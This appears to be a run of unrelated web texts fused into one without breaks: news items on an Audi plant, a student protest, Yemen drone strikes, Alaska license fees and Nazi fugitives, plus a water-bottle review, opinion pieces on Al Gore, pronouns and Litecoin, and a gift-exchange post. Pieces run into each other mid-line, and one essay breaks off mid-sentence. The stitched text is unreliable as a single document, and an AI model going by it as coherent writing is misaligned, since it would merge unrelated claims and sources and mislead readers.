Source: Crean AJ, Kopps AM, Bonduriansky R. Revisiting telegony: offspring inherit an acquired characteristic of mother’s previous mate. Ecology. 2014.Audi currently produce their smallest model, the A1, in Vorst. The production cycle ends in 2018 and the workforce had no precise news on what would happen next. The car maker was obliged to take a firm decision on a successor as starting a new production line requires considerable preparation.
Audi will be able to benefit from a Belgian government package of support measures worth 130 million euros. The German carmaker also enjoys a favourable tax regime here.
The electric model that will be produced in Brussels is Audi's first fully electric SUV. It currently goes under the working title "Audi e-tron quattro concept". Its battery will allow you to travel 500 km without recharging.
The Vorst plan currently offers employment for 2,600 workers and the Audi management had promised to maintain employment levels at Vorst.Sometimes silence can reveal more than words. And the complete silence of both candidates during last night’s (and previous nights’) presidential debate on climate change speaks volumes about just how dead the issue now is. Indeed, this is the first time in 24 years that neither candidate thought it fit to mention what Al Gore has billed the biggest threat ever to “human civilization as we know it.” That Obama didn't feel the need to devote even a lame half-a-sentence to it in the 270 minutes of free airtime he has gotten shows what a remarkable fall this defining challenge of our generation has enjoyed. Laments Evan Lehman of Environment & Energy:
This is the first time since 1988 that climate hasn't been mentioned in the presidential debate cycle, Johnson of Climate Silence said in a post that provides partial transcripts to the contests. Back then, Republican vice presidential candidate Dan Quayle said, "the greenhouse effect is an important environmental issue."
In 2008, Obama and Sen. John McCain (R-Ariz.) discussed efforts to reduce emissions in three debates, including in one presided over by last night's moderator, Bob Schieffer. Their running mates also talked about it, with Sarah Palin (R-Alaska) touching on the dangers faced by her home state. This year's omissions make the prospects cloudy for climate action in the next four years, whether the nation is led by Obama or Romney.
Indeed. Which proves one thing: Just what a waste Al Gore’s life has been. His career is dead. His marriage to Tipper is dead. His cause du juor is dead. The only thing he can hang on to….hmmm….can anyone think of anything?TROY (WRGB) - Students at Rensselaer Polytechnic Institute in Troy are fighting to keep their voices heard when it comes to the student union. They're planning a peaceful protest for Friday afternoon at 4:00 p.m., but the school administration wants them to change the date.
Students say they're protesting to keep control of the Rensselaer Union - the union that has been student-run since 1890. Students say RPI's administration is trying to take control of the union by trying to hire a Director of the Union, without getting student input or following the union's protocol. Students say this has been an issue for years. They held a protest in 2016 as well.
Students planned a protest for Friday, but they say the administration denied the request because it's alumni weekend. The school says the protest would be a disruption and the school's security needs to focus on the alumni events instead, including a black-tie dinner with the school's president Friday night. Students claim the school put up a barricade around where that event will take place, to keep them out, but they plan to gather at 4:00 p.m. Friday anyway.
RPI released a statement saying:
On October 13 the Institute will host hundreds of community members and guests attending events at multiple locations across campus, including the area of EMPAC and Folsom Library. In accordance with our policies, we are working closely with Rensselaer Public Safety to ensure these events, and the pedestrian traffic accompanying them, are not disrupted. Some of the safety concerns include: fireworks, which require a specific perimeter to ensure safety; ensuring access and safety for those with mobility challenges; and maintaining the required egress for emergency vehicles.
We support freedom of speech and the students’ right to demonstrate. There has been one request for peaceful demonstration submitted for October 13. Those with expertise in event management and security determined that a demonstration would pose significant disruption of already-planned events and raises concerns for the safety of attendees; therefore, after careful review, that specific request was denied. Through multiple communications, the Dean of Students has invited the applicant for the demonstration to meet to discuss alternative dates, times, and locations for the demonstration. The applicant has thus far refused to meet and subsequently requested to discontinue the application.
The administration has made no attempt to take control of the Rensselaer Student Union from student leadership. There are a number of communication channels being utilized between students, student leaders and the administration. There are highly productive communications with the Grand Marshal and President of the Union occurring on a daily basis. These conversations are focused on Student Union staff positions and overall concerns the students have conveyed around the continued student-run Union.
For more information visit: https://savetheunion.xyz
Stay with CBS 6 for the full story Friday evening.A:
We love insulated stainless steel water bottles for a few reasons. They keep beer cold in the summer and coffee hot in the winter, they’re lighter and more durable than glass, and they’re free of the chemicals found in some plastics. But not all bottles are created equal. We put five of our favorite models through the wringer. Here’s how they stacked up.
The Water-Bottle Test
Thermoregulation: I filled each bottle with a 35-degree water-and-ice mixture. I left each bottle in a room heated to 70 degrees and measured the change in temperature after 24 hours. To test how well the bottles retained heat, I poured 190-degree water into each bottle and then let them sit for 12 hours in my 70-degree kitchen before taking the temperature again.
Durability: We kept things reasonable at the start: dropping filled bottles from a porch and workbench, setting them atop a car and driving off, even jettisoning them from a pack while scrambling over rocks. But these bottles withstood the everyday abuse, so we ramped up the punishment: We teed them off a 50-foot cliff with a driver and shot each bottle with birdshot at a gun range.
Sigg Thermo Classic 0.5L with Tea Filter ($30)
Heat: 139 degrees after 12 hours. Temperature loss of 51 degrees.
Cold: 36 degrees after 24 hours. Temperature gain of 1 degree.
Durability: The lid broke as soon as we dropped the Sigg Classic from the workbench, but the body withstood the abuse like a champ with only a few minor scrapes and dings. Even after getting rocketed off the 50-foot cliff, the water bottle could still hold water.
The Verdict: The thermoregulation on this bottle blew us away. Out of all those we tested, it kept its contents the coldest—the water only got one degree warmer after 24 hours. While we liked the stainless steel tea filter that’s integrated in the lid, we didn’t like how tough it was to unscrew.
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Klean Kanteen 20 oz Insulated ($30)
Heat: 111 degrees after 12 hours. Temperature loss of 79 degrees.
Cold: 38 degrees after 24 hours. Temperature gain of 3 degrees.
Durability: The Klean Kanteen won our durability contest. It aced all our real world tests, took the golf swing as well as any of the other bottles, and finished the session with a still-functional plastic lid.
The Verdict: The Klean Kanteen had by far the most durable lid, kept our cold beverages very cold, and was the easiest bottle to fill with ice cubes thanks to its wide (2.130 inch circumference) mouth. And to be fair, the company says the bottle is designed to keep drinks warm for six hours, not 12.
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Miir 500 ml Vaccuum Insulated ($30)
Heat: 114 degrees after 12 hours. Temperature loss of 76 degrees.
Cold: 45 degrees after 24 hours. Temperature gain of 10 degrees.
Durability: The Miir’s body suffered a devastating impact when we dropped it off the porch, though the lid did survive until we teed it off a cliff. But this bottle was the lightest we tested, even if it was the least durable.
The Verdict: We love how easy it is to take the ergonomic wedge lid off with a single finger. Miir also donates a portion of the proceeds from these vacuum-insulated water bottles to get clean-water access to people living without it.
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Avex 24 ounce Brazos Autoseal Stainless Water Bottle ($30)
Heat: 115 degrees after 12 hours. Temperature loss of 75 degrees.
Cold: 48 degrees after 24 hours. Temperature gain of 13 degrees.
Durability: The Brazos’ Autoseal lid has a handle and a push-to-open spout, and we were convinced both would break early in our test. We were wrong. The lid survived the session—and is still 100 percent functional. The body withstood the abuse, too, and could still hold water after getting shot at.
The Verdict: If you need a stainless steel insulated bottle that you plan to sip on throughout the day, the Brazos is your best bet. In my past experience, I’ve found it maintains temperature even if you open the spout frequently, something few other bottles can manage.
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Hydroflask Insulated 21 oz Water Bottle ($28)
Heat: 127 degrees after 12 hours. Temperature loss of 63 degrees.
Cold: 42 degrees in 24 hours. Temperature gain of 7 degrees.
Durability: This bottle’s body proved to be incredibly resilient. It took the most direct shot from our gun and still held water at the end of the test.
The Verdict: We’ve written about Hydroflasks before and have been happy with both their thermoregulation and durability during real-world use. We also like the look of the powder-coated matte finish.
Buy NowLINCOLNTON, N.C. (AP) — Police say a man in North Carolina sucked a woman's toes at a Wal-Mart after he convinced her he was a podiatry student and persuaded her to take off her shoes.
Detective Dennis Harris said the woman agreed to try on several pairs of shoes at the discount store in Lincolnton, and that at some point during the process, the man stuck her foot in his mouth. Harris said the man apparently tried the same thing at another Wal-Mart 15 miles away, where he told a woman he was conducting a survey on the feet of different races and nationalities.
The second woman also agreed to take off her shoes, but left when the suspect asked her to remove her socks.
Both confrontations happened Monday. Police are looking for the man.I’m really focused always on the prize,” Ansel Elgort said in 2014. “I want to keep creating and making important things and that’s what I want Ansel Elgort to be about.”
Ansel Elgort, the star of Edgar Wright’s high-speed heist thriller Baby Driver, speaks about himself in the third person quite often. His “brand”, for that is how Ansel Elgort likes to refer to it, encapsulates not only acting, but also music, fashion and technology, and his interviews are usually peppered with humblebrags and name-drops and references to his own personal narrative.
Little of this is new for millennial celebrities, many of whom seem outrageously, fastidiously aware of their place in the celebrity ecosystem in a way that was rarely found in less image-conscious stars from decades gone by. But there’s been a strange trend developing in Ansel Elgort’s recent press for Baby Driver -- a trend that has no defining source, not one particular incident, nor any specific piece of tabloid gossip.
Yet it remains something that interviewers have felt compelled to recently ask about: just what is it about Ansel Elgort that makes him so unlikeable?Al-Qaeda’s propaganda chief in the Arabian Peninsula (AQAP) was among those killed in two separate US drone strikes in Yemen, Reuters reported on Thursday.
Saudi-born Abu Hajar al-Makki and three other AQAP militants were among six jihadists who were killed when a drone blew up their vehicle in the Wadi Obeida district of Marib province, east of the capital Sanaa, tribal sources said.
A long-running US drone war against AQAP has intensified since President Donald Trump took office, in particular, US forces have carried out more than 120 air strikes against jihadists in Yemen this year.
According to the US officials, the strikes have killed a number of senior AQAP figures in recent months, for instance, Mujahid al-Adani, who was killed on November 20.
Yemen has been engulfed in a military conflict since 2015, with the government of President Hadi fighting against the Houthi rebels, backed by army units loyal to former Yemeni President Ali Abdullah Saleh.
Since March 2015, the Saudi-led coalition has been carrying out airstrikes against the Houthis in Yemen at Hadi’s request. The Sunni extremist group has thrived in the chaos of nearly three years of civil war between the Saudi-backed government and Shiite rebels, who control the capital.
AdvertisementsHello their everyone Gary here with Up Tech here to discuss the next generation of oil vaporizers that we will be developing specifically for our Hercules SR74x, Kiss Gen 3 and Kiss Alpha Centauri oil cartridges.
First one up is the new single 18650 50 watt Temperature control oil vaporizer that is designed specifically for the Hercules SR74x with temperature control in mind and reducing the length of the vaporizer itself. We will release the final specs on this vaporizer as soon as we finalize the circuitry. It will give the user the range of 200F all the way up to 600F to vape with all your extracts and concentrates. The cool function of this device is that it reduces the total length of the Vaporizer by half at most by using a side loading design instead of having the Hercules on top like our Persei vaporizer. It will feature an OLED screen and on top of that you are able to use Temperature control on our Kiss Gen 3 and 1701 ceramic donuts. The name is yet too determined but we think we have one already picked out. It uses a single 18650 battery we recommend AW IMR so that it can provide you with the best vapor that is possible from our oil cartridges.
The unit will also feature a variable wattage mode that will allow the user to go all out. Range should be around 5-50 watts, and ohm range for temperature control should be 0.3 - 3.0 ohm. This allows the user to use a wide range of oil cartridges to vaporizer all the different style concentrates and extracts that are available in the oil industry.
We at W9 Tech believe oil vaporization should be taken seriously, that is why we have waited so long to introduce the perfect oil vaporizer for the perfect oil cartridge. The vaporizer will come standard with our Limited Life Time warranty. What this means is that if within the first year your vaporizer breaks down we will repair it or replace it for free, after the first year a service fee will be charged for the work done that will give you another year of free repair work just in case something else happens. We might also apply our intentional damage warranty to this vaporizer only time will tell. Until then stay tuned sign up for our emails for more updates.Anglers, hunters and trappers will fork over more cash next year to pursue their favored critter — in some cases considerably more.
Virtually every Alaska hunting, fishing and trapping license will be more expensive — up to 80 percent more for residents and up to 200 percent more for nonresidents.
About the only ones escaping beefy price hikes are nonresidents buying an annual sport fishing license ($145) and king salmon stamps for both resident ($10) and nonresident ($100) anglers.
Price hikes were part of House Bill 137, which passed during the last legislative session. It's the first time in 24 years hunting license and tag fees have increased and the first time in 10 years for fishing licenses.
"Alaska's new prices are in line with other states," Fish and Game Commissioner Sam Cotten said in a press release, adding that they're "significantly less expensive for resident hunters because Alaskans don't pay resident hunting tag fees."
Widespread impact
Hundreds of thousands of Alaskans and outdoorsy visitors will be affected.
• Some 329,000 resident hunting, fishing and trapping licenses were sold in 2015, the last year for which information is available.
• Nearly as many, 306,000, were purchased by nonresidents, who paid $7.6 million more than residents for the privilege.
• All told, sales of licenses, tags and stamps to anglers, hunters and trappers brought in $26.4 million.
Sportsmen and women looking to save money can take advantage of a grace period through the end of this year that will allow 2017 licenses to be purchased at 2016 prices.
The fee increases are expected to raise an additional $9 million for the Alaska Department of Fish and Game next year, according to a news release from Gov. Bill Walker. The increases help offset deep cuts to the department's funding from the state's unrestricted general fund. Last year, the department received $79.3 million from the fund. This year, the budget calls for $66.4 million.
Money collected from anglers, hunters and trappers isn't bound for the state's general fund. Rather, it's used to fund state fish and wildlife management.
Raising fees also will allow Alaska to rake in more money from the federal Pittman-Robertson Wildlife Restoration and Dingell-Johnson Sport Fish Restoration programs. Federal dollars are matched 3-to-1 by state money, so more state money allows the annual total to grow.
"We've become increasingly unable to match wildlife dollars," said Maria Gladziszewski, deputy director of the state Division of Wildlife Conservation. "As hunters and shooters purchased more firearms and ammunition, the dollars available to Alaska from those sources has increased. With not enough state license dollars to match federal dollars, we were at risk of (sending back) federal dollars."
$48 million boost
Pittman-Robertson and Dingell-Johnson are funded by excise taxes paid by hunters, shooters, anglers, trappers and boaters nationwide.
This year, the two programs gave Fish and Game a $48 million boost; that's about a third of the entire Alaska Department of Fish and Game budget.
In fact, Pittman-Robertson funds and license sales cover most of the department's wildlife budget, while Dingell-Johnson coupled with license sales pay for most of the sportfish budget.
"The funds have allowed our biologists to ensure that innumerable fish and wildlife species in our state not only persist, but thrive to provide sustainable food resources and recreational opportunities," Cotten said.
In the last eight years, wildlife restoration funds through Pittman-Robertson have grown 108 percent, a jump that Deputy Fish and Game Commissioner Kevin Brooks attributed to "an unprecedented level of gun and ammo sales at the national level. It's off the charts."
Trump win means decline
However, the Donald Trump victory sent gun manufacturers' stocks into an immediate nosedive, which may have some long-term effect on those funds.
"The stocks are selling off because Donald Trump is a solid gun rights supporter and there are no longer worries about new gun control laws that Hillary Clinton could have pursued," Chris Krueger, an analyst at Lake Street Capital Markets LLC, told the Huffington Post. "This means that there likely will not be a surge in sales at firearms retailers in the coming months."
An array of outdoors and conservation groups including the Alaska Outdoor Council, the Alaska Professional Hunters Association, Kenai River Sportfishing Association, Safari Club International and Territorial Sportsmen supported raising the fees.
"Hunters have been doing this (funding wildlife conservation programs) for 80 years, and they're used to it," Gladziszewski said. "They stepped up again, which is awesome."
The Pittman-Robertson Act became law in 1937, when the firearms and ammunition industry asked Congress to impose a tax on their products to help fund wildlife conservation in the country. Since then, some $10 billion has been collected, money that has helped rebuild several wildlife populations. The excise tax is set at 11 percent of the wholesale price for long guns and 10 percent for handguns.
Reach Mike Campbell at mcampbell@alaskadispatch.comMarvel Comics has had a unique variety of female superheroes among its ranks, but the iconic persona of Ms. Marvel has been one with a unique history going back to the late 60s.
Originally, Ms. Marvel was a persona that was adopted by Carol Danvers, a U.S. Air Force officer. While Danvers and her title as Ms. Marvel, a superhero whose powers include super strength, stamina, and the ability to fly at will, has been in some form of publication for almost forty years, it is perhaps no stretch to say that the image of the character has perhaps never before been more popular thanks to writer G. Willow Wilson.
While there is a long publication history behind the fact that Carol Danvers started as Ms. Marvel and (as of 2012) is now known as Captain Marvel, I’ll be referencing Carol’s foundational 1968 role as Ms. Marvel to better parallel the importance of Kamala Khan’s incarnation of the character and why the title matters. So, while Ms. Marvel started out as a white, blonde U.S. military officer, the role is now filled by Kamala, a teenage Muslim-American of Pakistani descent.
This article explores Kamala’s impact on diversity in comics, how her creation has changed the comic landscape as a whole, and what aspects of her creation in 2013 should be understood by critics and fans of Marvel content going into 2017.
I am not going to be saying much that is new when I comment that, as has been established almost everywhere, Ms. Marvel, as embodied by Kamala Khan, is a pretty big deal. Her role in comics has become so popular that her premiere 2013 series, Ms. Marvel, received reprint requests that pushed her sales numbers up into the realm of 200,000 or more copies.
While this might not seem like a big deal to some readers who might not keep themselves up to date on publication history and numerics, Aja Romano of the Daily Dot provides some perspective in the 2014 article “What Ms Marvel’s rare 6th printing means for diversity in comics.” Romano explains that “Spider-Man Issue #583, the one with President Obama on the cover, only made it to a fifth printing despite making international headlines.”
But so what? Why do Ms. Marvel’s comic numbers matter? Simply put, foundationally, a comic that does not sell well is cancelled, and cancelled comics seldom matter unless they present a fantastic novelty in terms of character, story, art, or some combination of the three.
Remember how I commented earlier that my intention was to explore Kamala’s impact on the issue of diversity and how her role has adjusted comics as a whole? It should be understood before I even touch those subjects that, as a comic title, Kamala Khan’s comic make money. This is not a title that did not see a lot of traction, yet was popular because of Tumblr, Twitter, or word of mouth alone. Ms. Marvel captured a zeitgeist movement that, unlike some others within the comic industry, had money behind it from the start.
But what matters about the numerics? How does this connect to diversity, or even what Kamala means? Simply put, comic sales have become one of the prime reasons to discount diversity initiatives in comics, or at the very least they are numerical barometer that some believe predicts that will or will not help the comic market in 2017 thrive.
In his 2016 article “Comics: You’ve Got Your Diversity, So Why Don’t You Buy Them?,” writer Adam Frey comments that, despite “ … ‘diversity’ [being] the watchword in comics for quite some time now,” comics themselves has a numbers problem. Frey submits his belief that it is “you, the readers” who are to blame for diversity initiatives in comics failing, yet he believes that who find support with high sales will remain and should do so.
Given Ms |
You Haven’t Considered That Trans and Non-Binary People Exist
It doesn’t mean that you literally don’t know that trans and non-binary people exist (unless you don’t, in which case here are some resources).
It means that you don’t have to think about the fact that our lives and experiences are different from yours.
Here’s a parallel that might help you understand: Because people misgender me as a woman, they sometimes ask me whether I have a boyfriend or assume that I’m only interested in men.
It’s not that these people don’t know that queer people exist. It’s just that they think queer people exist in some other dimension, or that they can’t be “normal” people that they might meet in their everyday lives.
In other words, they assume that everyone is straight.
When you get uncomfortable about pronouns, it’s because you assume that everyone is the gender they were assigned at birth and uses pronouns that “match” their gender presentation.
Basically, you assume that only people like you exist.
So when someone tells you that their pronouns are different, you’re forced to confront the fact that there are people who aren’t cisgender. And I’ll be honest: I don’t really understand why that makes people uncomfortable.
Maybe it’s because acknowledging trans and non-binary people means that your own identity as a cis person isn’t as solid as you once thought it was. Maybe it’s because like most people, you don’t like confronting unknown things.
Whatever the reason, being uncomfortable because you have to think about pronouns is a sign that you have cis privilege. After all, trans and non-binary people have to think about our pronouns all the time.
We have to think about whether we should tell people about our pronouns. We have to weigh the possible negative consequences of asking people to use our pronouns. We have to deal with the harmful effects of being misgendered.
And the reason why we have to think about these things is related to another privilege that you, as cis people, have.
2. You Can Take Your Pronouns (And Gender Identity) for Granted
If you’re cis, you’ve probably never had to question your gender identity. Your gender is the same as the one you were assigned at birth.
Which means, more importantly, that other people don’t question your gender.
People don’t tell you that you don’t “look” like a man or woman, or that they don’t “get” what it means to be agender. They don’t play 20 Questions with you by asking things like “When did you know you were a man?”
You’re secure in your gender because the people around you constantly validate and affirm it. That’s why you never have to think about what pronouns you use. It seems obvious to you.
Those of us who aren’t cis, on the other hand, don’t have that privilege. We have to deal with people misgendering us, not believing us, or even asking invasive questions about our bodies.
Getting misgendered might seem like a small thing, but for me, it’s tiring and disorienting. My sense of identity is eroded every time someone refers to me as “she” or calls me a girl.
Sometimes I forget that I’m not a woman because everyone keeps telling me that I am. It gets pretty difficult.
Maybe you think that things wouldn’t be as difficult if I didn’t identify as genderfluid. But how can I not? That’s my gender, whether you think it’s real or not (and it is, for the record).
It’s as real as your gender – it’s just that other people don’t acknowledge it the same way they do yours.
3. You Think You Can Dictate What Other People’s Genders Are
Privilege isn’t just about having advantages that someone else doesn’t, or even just about having those advantages at the cost of other people. It means feeling that you have the right to dictate how those people should think and feel.
You see this all the time with white people. They tell people of color that they’re too sensitive and are overreacting, or they tone police them by saying that they aren’t resisting racism nicely enough.
But what would white people know about racism and how to resist it? They are, after all, the people benefitting the most from it! Yet their white privilege makes them feel as if they have the right to tell people of color how to feel and act. It’s the same thing when you resist using trans and non-binary people’s pronouns, or challenge them about it. You think that you know their own gender better than they do. There’s no way you could, but that’s what you believe because you’ve been told, over and over, that your views on gender are the correct ones. Anyone who thinks otherwise is just delusional. And that’s a huge part of your cis privilege: that you can be affirmed in your beliefs by the larger world. Trans and non-binary people, on the other hand, are constantly undermined. Our identities and views on gender are discounted, which is why people won’t believe us when we tell them about our pronouns – something you’d think we’d know best! 4. You Don’t Respect Trans and Non-Binary People’s Humanity When you refuse to acknowledge someone’s pronouns, you aren’t seeing them as another human being. Plain and simple. You’re telling them that you don’t believe their identity. In short, that you don’t think they really exist unless they conform to what you think is the status quo. I know someone who said that he thought of they/their pronouns as a preference, and since he didn’t prefer it, he didn’t use it. On top of being just plain rude, it was an admittance that he didn’t care what a non-binary person might feel. Basically, he was saying that since he didn’t understand why someone would use they/their pronouns, he could just dismiss it. End of story. There was no need to try and understand the other person’s point of view. Privilege means thinking that you’re the status quo and everyone different isn’t deserving of respect or empathy. And that’s exactly what you’re doing when you dismiss people’s pronouns. 5. You Actively Work to Keep the Status Quo Rejecting people’s pronouns means rejecting trans and non-binary people’s existence. And if they don’t exist, then the world can continue unchanged. It might sound like a stretch, but it’s really not. When people quiz me about my pronouns or don’t like using them, I feel as if they’d rather pretend I don’t exist. That way, they don’t have to question the things they’ve taken for granted. Their own existence can continue with comfort. Which brings me to my final point… 6. You Consider Your Discomfort Greater Than Trans and Non-Binary People’s Discomfort It might make you uncomfortable or upset to think about using people’s proper pronouns. You might hate worrying about whether you’ll get it wrong. But consider what I talked about above: Being misgendered is a much more uncomfortable experience for trans and non-binary people. If you’re only thinking about your discomfort, it’s a sign of your cis privilege. It means that you think your comfort should be catered to first. In other words, you think your comfort is more important than trans and non-binary people’s. This sort of ties in with the previous sections. As a cis person, it’s a privilege for you to think that cis people are the only people who exist. You don’t have to consider how other people’s experiences might be different. As a cis person, it’s a privilege for you to take your pronouns (and gender identity) for granted, and to have other people constantly validate that. And if you believe that only people like you exist, and on top of that, are constantly validated in this belief—well, it’s easy to think that trans and non-binary people who insist on using their pronouns are just making things up. Except, you know, we’re not. The discomfort and pain that we feel is valid. It doesn’t matter less than your own discomfort. In fact, I think it’s safe to say that it matters more. What happens to you, ultimately, if you have to confront something outside of your comfort zone? Well, you might learn something new and grow as a person. Trans and non-binary people, on the other hand, have to deal with trauma when their identity is questioned or when people get upset at them for requesting that their pronouns be used. *** As one person in this Buzzfeed video says that people’s pronouns aren’t really “preferred.” They’re that person’s actual pronouns, the same way your pronouns are just your pronouns. It’s important to use people’s correct pronouns because it’s the right thing to do. It signals that you see them as a person and that you respect their gender identity. Whether you understand why someone uses the pronouns they do is another matter. Gender is diverse and complicated, and even non-binary and trans people don’t have it all figured out. But you don’t have to understand why someone uses their pronouns in order to use them, too. You can just accept that those are their pronouns. It’s as simple as that. And if that makes you uncomfortable—well, maybe it’s time to examine your privilege. 38.3K Shares Share Kerry Truong is a Contributing Writer for Everyday Feminism. They are a queer diasporic Vietnamese womxn and graduated this spring with a double degree in English and Asian American Studies. When they’re not philosophizing about this at length, they’re reading, taking long walks, or cooing over all the dogs who cross their path. Read their Everyday Feminism articles here. Found this article helpful?
Help us keep publishing more like it by Help us keep publishing more like it by becoming a member!London, Mar 20 (ANI): Nine thousand Nazi war criminals reportedly fled to South America after World War II, leaked secret documents have revealed.
According to secret files in Brazil and Chile, accessed by German prosecutors, an estimated 9,000 war criminals escaped to South America, including Croatians, Ukrainians, Russians and other western Europeans who aided the Nazi murder machine.
The documents revealed that as many as 5,000, went to Argentina; between 1,500 and 2,000 are thought to have made it to Brazil; around 500 to 1,000 to Chile; and the rest to Paraguay and Uruguay.
These numbers do not include several hundred more who fled to the safety of right-wing regimes in the Middle East, The Daily Mail reports.
The files showed that majority of these criminals went to Argentina, after the country's President Juan Peron sold 10,000 blank passports through an organization known as ODESSA, set up to aid German SS officers following the defeat of the Nazis.
Kurt Schrimm, 62, head of the central war criminal authority in Germany, who is among the legal team sifting through archives, believe the file might also provide clues to Nazis who sneaked back to the Fatherland to live out their days undetected. (ANI)The Texas congressman who first brought up the "terror baby" claims on the U.S. House floor isn't taking too kindly to being challenged about it. U.S. Rep. Louie Gohmert, R-Tyler, spent most of his Thursday night appearance on CNN's Anderson Cooper 360 yelling at the host for quizzing him about his sources.
Gohmert and state Rep. Debbie Riddle, R-Tomball, both claim there's an elaborate plot afoot: that terrorists are having babies born of immigrants in the U.S. — to gain citizenship — later train to launch attacks as adults. Both cite unnamed "former F.B.I. officials" as sources.
"You're attacking the messenger! Anderson, you're better than this, you used to be good... you used to find that there was a problem and go after it," said Gohmert. "You listen. This is a problem. If you spent as much time looking for evidence as you've spent belittling me, you've spent this whole week belittling me."
This post really can't do the video justice. Watch for yourself.
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Texas Tribune donors or members may be quoted or mentioned in our stories, or may be the subject of them. For a complete list of contributors, click here.So, allow me to tell you a little story about the kind and warm hearted EmEmGee. My gift was sent the 14ht of December, and was expected to arrive the 16th. However, the post office lost it mid-transit. Did EmEmGee falter? NOT ONE BIT. They kindly informed me that they were filing a claim and that it was being handled with the utmost care. Anyway, my SS was very kind and thoughtful throughout the entire process. Today, 12/30/2013, the package arrived. The following pictures describe the encounter. Pictures are numbered corresponding to their descriptions. 1: The front of the large box. It felt heavy and light at the same time, like one side was heavy and the other was light. 2: Opening that baby up and seeing that: A. Everything was packaged very nicely and safely, which was good. B. There was a bright green stocking right on top just calling my name. And C. There was a wrapped present about the size of a book hiding out on the side of the large package on the bottom. 3: Holding up the stocking. It was heavy, and I could see things poking out of the top. SUGARY things. 4: Holding up the large package and the book-looking package. Please ignore Castle in the background. But never ignore Nathan Fillion. He was on Firefly. He'll find you. 5: The PIMP Breaking Bad Christmas card, made by genuineHAHA, with only the freshest ingredients. The front has Walter White in his underpants, with a pizza, blue meth, and his goatee and fedora, along with the RV in the background and a Christmas tree sticker. The card says 'Knock knock, I am the danger at your bedroom door'. 6: Opening the card. It said: 'PixelatedBaloney, For you I would - Become business partners with a former student. Manufacture meth on a global level. Kill enemies with an improvised wheel chair bomb. (fill in) Give you the tools to learn a new skill. Merry Christmas! EmEmGee' 7: Emptying the stocking. The card was also in there, but I ripped that open before I took a picture of it with the stocking stuffers. In total, there was 4 candy filled candy canes filled with Reese's Pieces (how did you know I like those?), Hershey-ets (never had these before, they're a lot like the lovechild of a Hershey's Kiss and an M&M), Spree (once again, never had them, but they are fantastic, but hard to describe), and Skittles (protip: freeze Skittles for the best snack you will ever eat). Also included was a bag of Ghirardelli Peppermint Bark Squares, 10 bite size Dove Chocolates, and 3 candy canes, that I believe are watermelon flavored. 8: The book (I was right!) shaped present after unwrapping was found to be a Christmas Songs for Ukulele music book. I just about flipped, because I wrote on my profile that I want to learn how to play the ukulele. 9: Unwrapping the big box revealed a moment of Christmassy cursing as I saw the words 'Diamond Head Ukuleles'. 10: Opening the box revealed a green DHU case holding what could only be ALF on DVD. Or, you know, a ukulele. 11: HOLY CHRISTMAS CHEER BATMAN! A GREEN UKULELE! I LOVE GREEN! And then it donned on me, that's why the stocking was green, and the case was green, and the ukulele was green, because I said I liked green on my profile. Wow, my SS really paid attention to my likes and dislikes.
TL;DR - EmEmGee paid attention to my likes and dislikes, and got me a pimp Breaking Bad Christmas card, a green stocking full of candy, a Christmas Songs for the Ukulele music book (with lyrics!), and a green ukulele with a green case from Diamon Head Ukulele. Thank you so much EmEmGee, for being an awesome SS for my first gift exchange!Arguments for Litecoin are fraudulent.
TL;DR: there’s no important difference between LTC and BTC and only one of them can win over another, because, other things being equal (which they are) people want to invest in the most liquid money: that is, with the biggest number of folks willing to hold it. LTC can’t be “silver to bitcoin’s gold”, because both LTC and BTC have exactly the same risks and costs. Either LTC wins over BTC, or BTC over LTC.
I’ll elaborate.
Litecoin/Bitcoin/Shitcoin are all long-term bets. I myself don’t speculate on daily basis, most of us bet for value of these things in the multi-year time frame. So let’s focus on that.
1) In long term security is not measured in “block interval time” or number of blocks. It’s measured in amount of money to be spent on double spending. Today hashrate of Bitcoin is many-many times more expensive than that of Litecoin. So one block confirmation in Litecoin is not just 4x less secure, but hundreds times less secure: you need smaller investment to fork the chain, than with BTC. So anyone who brings up security argument is lying to you.
2) Litecoin is not “faster” either. For the same level of security as in BTC, you have to wait hundred times longer (see #1). Instant transactions are the same and also less secure than in BTC: zero-conf, with less nodes and less connectivity between them to limit double-spend attempts. Anyone bragging about “LTC being faster” is a liar. It can only be slower due to less number of nodes and currently lower hashrate, not faster. LTC can only be faster if BTC is being abandoned and people switch to LTC.
3) “Scrypt protecting against concentration of power due to ASICs” is bullshit. If LTC wins over BTC, there will be ASICs and whole factories making chips and plugging them in on-site right away. Just like it will be with BTC or ShitCoin or else. Long-term LTC is either dead or is full of chinese ASICs, like BTC. Anyone arguing otherwise is a liar.
4) “Scrypt more secure than SHA256” is bullshit in the context of mining. If there’s a better optimization in SHA256, it’ll be like a better hardware. But this can equally happen to Salsa in Scrypt too. If the breakthrough is significant, all BTC stakeholders will vote for adjusting the protocol to fix the problem, not lose everything by panic selling. Huge price of BTC is a great motivator to find the weakness in double-round SHA256 and mine faster. Every day it doesn’t happen is only a practical proof it’s as good as it can be (just like Scrypt or whatever), everything else is unfounded FUD.
5) “More fair distribution of wealth” - this is unfounded FUD. For average Joe, LTC is less widely accepted, so its concentration, however “fair” it was, is still higher than in BTC. And who knows how much of early mined BTC are lost forever (we know that’s a lot) or were sold during 2011 bubble and slow price rundown the same year. I bet very few were sticking to their holdings that time and thus were taking huge risks “fairly”.
6) “Diversification” (based on all points above) - newbies who don’t know economics are made to think they diversify by investing in some altcoins. But the risks and costs are all the same for all coins. If Bitcoin is completely broken, most likely altcoins are broken for the very same reason. Otherwise, all Bitcoin holders will simply agree to upgrade the protocol. Especially so as Litecoin is on the same codebase.
The only real argument about LTC and BTC is that there’s no functional difference between them. LTC could only be 4+ times costlier to miners due to faster blocks and more “decentralization” of individual miners (slower connectivity, faster blocks => more orphans). If LTC was released before BTC and took off, everyone would be using LTC no problem. The only thing that matters here is liquidity, number of holders of money. If people are betting it is BTC with more hands, they send a signal to others about that by holding too. This moves all the “cryptoinvestments” into BTC in long term. If people see that LTC is gaining more hands, then everyone will converge on LTC. LTC and BTC cannot coexist together, it makes no economic sense both for miners (who want to invest 100% in the most valuable currency in long term) and for users (who want money only because it’s widely exchangable for many goods at any later dates).
Right now there’s a lot of excitement about Bitcoin and not many people understand economics. Some folks are lied to and “diversify” into altcoins, which gives them short-term bubble. But in years to come, when they see, that Bitcoin has bigger adoption, they’ll move their savings to BTC and then all altcoins will crash. Or for some mysterious reason BTC will not be viable and people jump to LTC en masse and abandon BTC.We may not have to wait much longer to find out how all four seasons of American Horror Story are connected now that a script containing crucial information about the upcoming major plot twist has been stolen and peddled to major media outlets.
